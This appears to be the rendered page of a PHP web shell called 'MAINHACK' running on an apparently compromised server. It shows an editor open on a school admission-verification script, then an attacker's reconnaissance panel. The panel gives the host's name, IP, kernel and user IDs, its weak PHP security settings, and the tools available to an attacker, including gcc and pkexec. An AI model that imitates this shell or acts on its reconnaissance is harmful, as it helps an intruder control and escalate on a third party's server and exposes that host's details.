[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: verify.php
<?php require("functions.php"); // Your DB connection file $enrol_code = isset($_GET['enrol_code']) ? trim($_GET['enrol_code']) : ''; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Admission Verification</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> </head> <body class="bg-light"> <div class="container my-5"> <div class="card shadow-lg p-4 rounded-4"> <h2 class="text-center mb-3">Admission Verification</h2> <hr> <?php if (!empty($enrol_code)): ?> <?php // Query database for enrolment $query = mysqli_query($new, "SELECT e.stud_name, e.index_no, e.s_code, c.class_name, p.program_name, s.school_name FROM enrol_details e JOIN class c ON e.class_id = c.cid JOIN programme p ON c.program_id = p.progid JOIN schools s ON e.s_code = s.school_code WHERE e.enrol_code = '".mysqli_real_escape_string($new, $enrol_code)."' LIMIT 1"); if (mysqli_num_rows($query) > 0): $data = mysqli_fetch_assoc($query); ?> <div class="alert alert-success"> <h5 class="fw-bold text-success">✅ Verified Admission</h5> <p><strong>School:</strong> <?= htmlspecialchars($data['school_name']) ?></p> <p><strong>Student Name:</strong> <?= htmlspecialchars($data['stud_name']) ?></p> <p><strong>Index Number:</strong> <?= htmlspecialchars($data['index_no']) ?></p> <p><strong>Programme:</strong> <?= htmlspecialchars($data['program_name']) ?></p> <p><strong>Class:</strong> <?= htmlspecialchars($data['class_name']) ?></p> </div> <?php else: ?> <div class="alert alert-danger"> ❌ No admission record found for enrolment code: <strong><?= htmlspecialchars($enrol_code) ?></strong> </div> <?php endif; ?> <?php else: ?> <div class="alert alert-warning"> ⚠ Please scan a valid QR code or provide an enrolment code below. </div> <?php endif; ?> <form method="GET" class="mt-3"> <div class="input-group"> <input type="text" name="enrol_code" class="form-control" placeholder="Enter Enrolment Code" required> <button class="btn btn-primary" type="submit">Verify</button> </div> </form> </div> </div> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002